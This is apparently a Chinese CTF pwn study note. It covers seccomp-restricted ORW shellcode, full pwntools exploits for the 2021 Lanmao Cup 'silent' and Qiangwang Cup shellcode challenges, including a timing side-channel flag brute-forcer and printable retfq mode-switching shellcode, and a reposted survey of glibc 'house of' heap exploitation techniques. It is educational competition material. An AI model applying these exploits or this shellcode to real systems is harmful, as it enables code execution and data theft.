    ; write(fd, buf, count)
    mov eax,4 ; write() 的系统调用号是 4
    mov ebx,1 ; fd=1, write到标准输出
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80
  2. 64 位
    (1). 版本一

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    ; open("flag", 0)
    0: 68 66 6c 61 67 push 0x67616c66
    5: 6a 02 push 0x2
    7: 58 pop rax
    8: 48 89 e7 mov rdi,rsp
    b: 48 31 f6 xor rsi,rsi
    e: 0f 05 syscall

    ; read(fd, rsp, 0x20)
    10: 48 89 c7 mov rdi,rax
    13: 48 31 c0 xor rax,rax
    16: 48 89 e6 mov rsi,rsp
    19: 6a 20 push 0x20
    1b: 5a pop rdx
    1c: 0f 05 syscall

    ; write(1, rsp, 0x20)
    1e: 6a 01 push 0x1
    20: 58 pop rax
    21: 6a 01 push 0x1
    23: 5f pop rdi
    24: 48 89 e6 mov rsi,rsp
    27: 6a 20 push 0x20
    29: 5a pop rdx
    2a: 0f 05 syscall

(2). 版本二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

OR 缺 W (例题: 2021-蓝帽杯初赛-slient)

  1. 文件

链接:https://pan.baidu.com/s/1EiiZNv5GgSX5t9d4eSKQcA
提取码:a6gt

题目保护如下

1
2
3
4
5
6
7
8
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ checksec chall
[*] '/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

沙箱保护开启如下,只能允许read,open,禁用了write,那么意味着我们ORW组合技只有OR可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
Welcome to silent execution-box.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

逆向代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  ......
// 逆向代码片段
puts("Welcome to silent execution-box.");

v3 = getpagesize();
// 利用 mmap 函数在 0x10000 处开辟一个 page 的空间
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);

read(0, &buf, 0x40uLL);

// 设置沙盒
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(4, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);

// 往 &buf 中读入 0x40 字节数据
// 然后执行这段数据
v4 = buf;
......
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);

return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

/* 2. DESCRIPTION
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of
the mapping (which must be greater than 0).

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.
......
*/

on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

1
2
3
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ cat /proc/sys/vm/mmap_min_addr
65536

思路

既然不能 `write`,便只能用 `open` 函数打开 flag 文件后将其中保存的 flag 用 `read` 函数读取出来,再逐字节遍历,与所有的打印字符用 `cmp` 进行比较,一个一个字节地爆破出来。详见 EXP。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-  
from pwn import *
import time

context(arch="amd64", os="linux") # , log_level = "debug")


# 判断第 index 个字符是否是 chdef pwn(p, index, ch):
# 运行时需要去掉 shellcode 中的注释
# ; open(0x10039, 0)
# ; 0x10039 这个地址存放文件名
# ; fd 存放在 rax shellcode = """
push 0x10039 pop rdi xor esi, esi push 2 pop rax syscall
mov rdi, rax xor eax, eax push 0x50 pop rdx push 0x10040 pop rsi syscall
loop: cmp byte ptr[rsi+{0}], {1} jz loop ret """.format(index, ch)
# ; 此时 rsi 存放的即为保存 flag 的地址
# ; 检查 flag[index] 是否等于 ch # ; 若相等便卡在这个循环里面

# 在这里写入文件名
payload = asm(shellcode).ljust(0x40 - 7, 'a') + './flag\x00'
p.sendafter("Welcome to silent execution-box.\n", payload)


flag = ""
index = 0
last = 'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127) for ch in range(32, 127):
sh = process("./chall")
# 远程比较容易断,可以多次连接
'''
for i in range(10): try: sh = remote("1.1.1.1", "11111") break except: sleep(3) continue ''' pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch if (end - start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert (update == True)

if (last == '}'):
break

index += 1

print("flag: " + flag)

RW 缺 O

参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")

append_x86 = '''
push ebx
pop ebx
'''
append = '''
/* 机器码: 52 5a */
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''

shellcode_flag = '''
/* retfq: mode_32 -> mode_64*/
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
shellcode = ''

# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
/* syscall 的机器码是 0f 05, 都是不可打印字符. */
/* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
/* 其中 0x52,0x5a 由 append 提供. */
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))

#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()

R 缺 OW (例题: 2021-强网杯-初赛-shellcode)

这道题其实就是 “R 缺 OW”,上面两种情况的融合怪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#coding:utf-8
from pwn import *
import time

# context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

def pwn(p, index, ch):
shellcode = ''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
#print hex(len(shellcode))

p.sendline(shellcode)
time.sleep(0.05)

shellcode_flag ="""
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)

flag = ""
index = 0
last = 'a'
while True:
update = False
for ch in range(32,127):
sh = process("./shellcode")
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)

转载自Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.cn)

1 - 前言

Glibchouse of 系列攻击手法基于都是围绕着堆利用和 IO FILE 利用。还有很多堆利用手法也非常经典,但是由于其没有被冠以 house of xxxx,故没有收录到本文中。如果想学习所有的详细的堆攻击手法,强烈建议 follow 仓库 how2heap进行学习。我相信,只要把 how2heap 里面的每一个堆利用手法都学懂学透了,glibc 堆利用你将尽在掌握。

在开始系列总结之前,我会给出一个表格,表格里面分别是 house of xxxx 和对应的优秀的解析文章,在此非常感谢各位师傅们的总结。如果你在阅读本文的过程中想完整地查看某一个手法地详细利用过程,那么可以直接回到表格,点击对应的链接进行学习。目前的最新版本为 2.37,但是,目前的 ubuntu:23.04 还没开始用 glibc-2.37,使用的仍然是 glibc-2.36

如果还有哪些 house of xxxx 的利用手法没有收录进来,或你对本文存有一些疑问,或者你发现本文某些内容编写错误,还请留言指正。

需要注意的是,除了关注各种 house of 利用技巧本身,更重要的是,需要关注该利用技巧背后的思想和原理。如果你能从这一系列的利用手法中提炼出一些通用的攻击向量或者攻击思想,日后在面对其他的场景,你也能更快的找到系统的漏洞点并加以利用。学习 glibc 堆利用更多的是为了举一反三,为了更好地掌握漏洞挖掘模式、漏洞分析方法,而不仅仅是为了比赛。

house of 系列的表格如下,适用版本不考虑低于 glibc-2.23 的版本。我将在下文中进一步阐述每一个利用手法的原理、使用场景与适用范围。

攻击方法 影响范围 学习链接
house of spirit 2.23—— 至今 堆利用系列之 house of spirit - 安全客 - 安全资讯平台 (anquanke.com)
house of einherjar 2.23—— 至今 PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)
house of force 2.23——2.29 Top chunk 劫持:House of force 攻击 - 安全客 - 安全资讯平台 (anquanke.com)
house of lore 2.23—— 至今 House of Lore - CTF Wiki (ctf-wiki.org)
house of orange 2.23——2.26 House of orange - 安全客 - 安全资讯平台 (anquanke.com)
house of rabbit 2.23——2.28 http://p4nda.top/2018/04/18/house-of-rabbit/
house of roman 2.23——2.29 House of Roman - CTF Wiki (ctf-wiki.org)
house of storm 2.23——2.29 House of storm 原理及利用 - 安全客 - 安全资讯平台 (anquanke.com)
house of corrosion 2.23—— 至今 House-of-Corrosion 一种新的堆利用技巧 - 先知社区 (aliyun.com)
house of husk 2.23—— 至今 house-of-husk 学习笔记 - 安全客 - 安全资讯平台 (anquanke.com)
house of atum 2.26——2.30 https://abf1ag.github.io/2021/06/11/house-of-atum/
house of kauri 2.26——2.32 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of fun 2.23——2.30 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of mind 2.23—— 至今 how2heap/house_of_mind_fastbin.c at master · shellphish/how2heap (github.com)
house of muney 2.23—— 至今 House of Muney 分析 - 安全客 - 安全资讯平台 (anquanke.com)
house of botcake 2.23—— 至今 奇安信攻防社区 - 深入理解 House of Botcake 堆利用手法 (butian.net)
house of rust 2.26—— 至今 c4ebt/House-of-Rust
house of crust 2.26——2.37 c4ebt/House-of-Rust
house of io 2.26—— 至今 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of banana 2.23—— 至今 house of banana - 安全客 - 安全资讯平台 (anquanke.com)
house of kiwi 2.23——2.36 House OF Kiwi - 安全客 - 安全资讯平台 (anquanke.com)
house of emma 2.23—— 至今 house of emma
house of pig 2.23—— 至今 house of pig 一个新的堆利用详解 - 安全客 - 安全资讯平台 (anquanke.com)
house of obstack 2.23—— 至今 一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析 - 跳跳糖 (tttang.com)
house of apple1 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (1) - roderick - record and learn! (roderickchan.cn)
house of apple2 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (2) - roderick - record and learn! (roderickchan.cn)
house of apple3 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (3) - roderick - record and learn! (roderickchan.cn)
house of gods 2.23——2.27 house-of-gods/HOUSE_OF_GODS.TXT at master · Milo-D/house-of-gods (github.com)

此外,阅读下文之前需要了解:

  • 下面所述的 chunk A,地址 A 指的是 chunk header 地址,而不是 user data 地址。
  • 漏洞成因基本上都是堆溢出、UAF

2-house of 系列

2.1-house of spirit

漏洞成因

堆溢出写

适用范围

  • 2.23—— 至今

利用原理

利用堆溢出,修改 chunk size,伪造出 fake chunk,然后通过堆的释放和排布,控制 fake chunkhouse of spirit 的操作思路有很多,比如可以按如下操作进行利用:

  • 申请 chunk A、chunk B、chunk C、chunk D
  • A 写操作的时候溢出,修改 Bsize 域,使其能包括 chunk C
  • 释放 B,然后把 B 申请回来,再释放 C,则可以通过读写 B 来控制 C 的内容

相关技巧

起初 house of spirit 主要是针对 fastbin,后来引入了 tcachebin 后,也可以使用 tcachebin 版本的 house of spirit。利用方法与 fastbin 场景下类似,注意好不同版本下的检查条件即可。

利用效果

  • 劫持 fastbin/tcachebinfd 之后,可以任意地址分配、任意地址读写

2.2-house of einherjar

漏洞成因

溢出写、off by oneoff by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbinchunk

利用原理

利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A,进入 unsortedbin
  • B 写操作的时候存在 off by null,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

相关技巧

虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

最开始的 unlink 的代码是:

| 1 2 3 4 5 6 7 8 9 10 | /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ // ..... \ } \ } |
| ———————— | ———————————————————— |
| | |

只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。

高版本的 unlink 的条件是:

新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

利用效果

  • 构造 chunk overlap 后,可以任意地址分配
  • 结合其他方法进行任意地址读写

例题

例题:

2016_seccon_tinypad

2.3-house of force

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.29
  • 可分配任意大小的 chunk
  • 需要泄露或已知地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

image-20230303194137930

利用效果

  • 任意地址分配
  • 任意地址读写

2.4-house of lore

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23—— 至今
  • 需要泄露或已知地址

利用原理

控制 smallbinbk 指针,示例如下:

  • 申请 chunk A、chunk B、chunk C,其中 chunk B 大小位于 smallbin
  • 释放 B,申请更大的 chunk D,使得 B 进入 smallbin
  • A,溢出修改 Bbk,指向地址 X,这里有 fake chunk
  • 布置 X->fd == &B
  • 分配两次后即可取出位于 X 地址处的 fake chunk

相关技巧

在引入了 tcache stash unlink 的时候,需要注意绕过:

要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。

实际上,这个技巧用得不是很多,因为在同等条件下,更偏向于利用 fastbin/tcachebin

利用效果

  • 任意地址分配
  • 任意地址读写

2.5-house of orange

漏洞成因

堆溢出写

适用范围

  • 2.23——2.26
  • 没有 free
  • 可以 unsortedbin attack

利用原理

house of orange 可以说是开启了堆与 IO 组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk 的性质,利用过程如下:

stage1

  • 申请 chunk A,假设此时的 top_chunksize0xWXYZ
  • A,溢出修改 top_chunksize0xXYZ(需要满足页对齐的检测条件)
  • 申请一个大于 0xXYZ 大小的 chunk,此时 top_chunk 会进行 grow,并将原来的 old top_chunk 释放进入 unsortedbin

stage2

  • 溢出写 A,修改处于 unsortedbin 中的 old top_chunk,修改其 size0x61,其 bk&_IO_list_all-0x10,同时伪造好 IO_FILE 结构
  • 申请非 0x60 大小的 chunk 的时候,首先触发 unsortedbin attack,将_IO_list_all 修改为 main_arena+88,然后 unsortedbin chunk 会进入到 smallbin,大小为 0x60;接着遍历 unsortedbin 的时候触发了 malloc_printerr,然后调用链为: malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp,调用到伪造的 vtable 里面的函数指针

相关技巧

  • glibc-2.24 后加入了 vtablecheck,不能任意地址伪造 vatble 了,但是可以利用 IO_str_jumps 结构进行利用。
  • glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效
  • 由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败,多试几次就好

利用效果

  • 任意函数执行
  • 任意命令执行

2.6-house of rabbit

漏洞成因

堆溢出写、use after freeedit after free

适用范围

  • 2.23——2.26
  • 超过 0x400 大小的堆分配
  • 可以写 fastbinfd 或者 size

利用原理

该利用技巧的核心是 malloc_consolidate 函数,当检测到有 fastbin 的时候,会取出每一个 fastbin chunk,将其放置到 unsortedbin 中,并进行合并。以修改 fd 为例,利用过程如下:

  • 申请 chunk Achunk B,其中 chunk A 的大小位于 fastbin 范围
  • 释放 chunk A,使其进入到 fastbin
  • 利用 use after free,修改 A->fd 指向地址 X,需要伪造好 fake chunk,使其不执行 unlink 或者绕过 unlink
  • 分配足够大的 chunk,或者释放 0x10000 以上的 chunk,只要能触发 malloc_consolidate 即可
  • 此时 fake chunk 被放到了 unsortedbin,或者进入到对应的 smallbin/largebin
  • 取出 fake chunk 进行读写即可

相关技巧

  • 2.26 加入了 unlinkpresize 的检查
  • 2.27 加入了 fastbin 的检查

抓住重点:house of rabbit 是对 malloc_consolidate 的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。

利用效果

  • 任意地址分配
  • 任意地址读写

2.7-house of roman

漏洞成因

use after free、堆溢出

适用范围

  • 2.23——2.29
  • 可以 use after edit
  • 不需要泄露地址
  • 需要爆破 12 bit,成功的概率 1/4096

利用原理

可以说这个技巧是 fastbin attack + unsortedbin attack 的组合技,利用思路如下:

  • 申请 chunk Achunk Bchunk Cchunk Dchunk B 的大小为 0x70
  • 释放 chunk B,使其进入到 fastbin[0x70]
  • 溢出写 A,修改 chunk Bsize,使其大小在 unsortedbin 范围
  • 再次释放 BB 进入 unsortedbin
  • 部分写 Bfd,使得 fd 指向 malloc_hook-0x23
  • 利用 A 的溢出写修正 Bsize,连续分配两次 0x70,即可分配到 malloc_hook 上方
  • 触发 unsortedbin attack,将__malloc_hook 写为 main_arena+88
  • 部分写__malloc_hook 的低三个字节,修改为 one_gadget
  • 再次 malloc 即可拿到 shell

相关技巧

  • 使用 house of roman 的时候,需要采用多线程爆破
  • 可以使用其他方法代替,比如先攻击 stdout 泄露地址,使得爆破的成本降低

利用效果

  • 执行 one_gadget
  • 绕过 ASLR

2.8-house of storm

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23——2.29
  • 可以进行 unsortedbin attack
  • 可以进行 largebin attack,修改 bkbk_nextsize
  • 可以分配 0x50 大小的 chunk

利用原理

house of storm 也是一款组合技,利用开启了 PIEx64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次 libc 地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:

  • 进行一次 unsortedbin attack,其 bk 修改为 addr
  • 进行一次 largebin attack,其 bk 修改为 addr+0x10bk_nextsize 修改为 addr-0x20+3
  • 申请 0x50 大小的 chunk 即可申请到 addr

相关技巧

需要注意的有:

  • 该方法成功的几率是 50%,因为 0x55 会触发 assert 断言,0x56 才能成功
  • 申请 addr 处的 chunk 的时候需要从 unsortedbin 里面取

利用效果

  • 任意地址分配

2.9-house of corrosion

漏洞成因

堆溢出、use after free

适用范围

  • 2.23—— 至今
  • 任意大小分配
  • 可以修改 global_max_fast
  • 不需要泄露地址

利用原理

一个非常 tricky 的方法,可以绕过 aslr,不需要泄露地址都能达成 rce,可以很很多方法结合起来应用。先说利用原理:

  • 使用 unsortedbin attack/largebin attack 等方法,成功修改 global_max_fast 的值为很大的值。如果使用 unsortedbin attack,不需要泄露地址,爆破 1/16 即可
  • 申请任意大小的 chunk,这些 chunk 都会被视为 fastbin chunk,然后利用这些 chunk 来进行读和写

此时的计算公式为:

1
chunk size = (chunk addr - &main_arena.fastbinsY) x 2 + 0x20

读原语:

  • 假设对应的地址 X 上存储着 Y,现在的目的是泄露出 Y
  • 根据偏移计算出来 chunk size,修改 chunk Asize 为计算出来的值,释放 chunk A 到地址 X
  • 此时,A->fd 就被写入了 Y
  • 通过打印即可泄露出 Y 的信息

写原语 1

  • 假设对应的地址 X 上存储着 Y,现在的目的是修改地址 X 存储的 Y 为其他值
  • 根据偏移计算出来 chunk size,修改 chunk Asize 为计算出来的值,释放 chunk A 到地址 X
  • 此时,A->fd 就被写入了 Y
  • 修改 A->fd 为目标值
  • 分配一次 chunk A 就可以把地址 X 存储的值为任意值

写原语 2

  • 假设地址 X 上存储着 Y、地址 M 上存储着 N,现在的目的是把 N 写到地址 X
  • 根据偏移计算 chunk size1,先释放 chunk A 到地址 X 处,此时有地址 X 处存储 chunk A 地址,chunk A->fdY
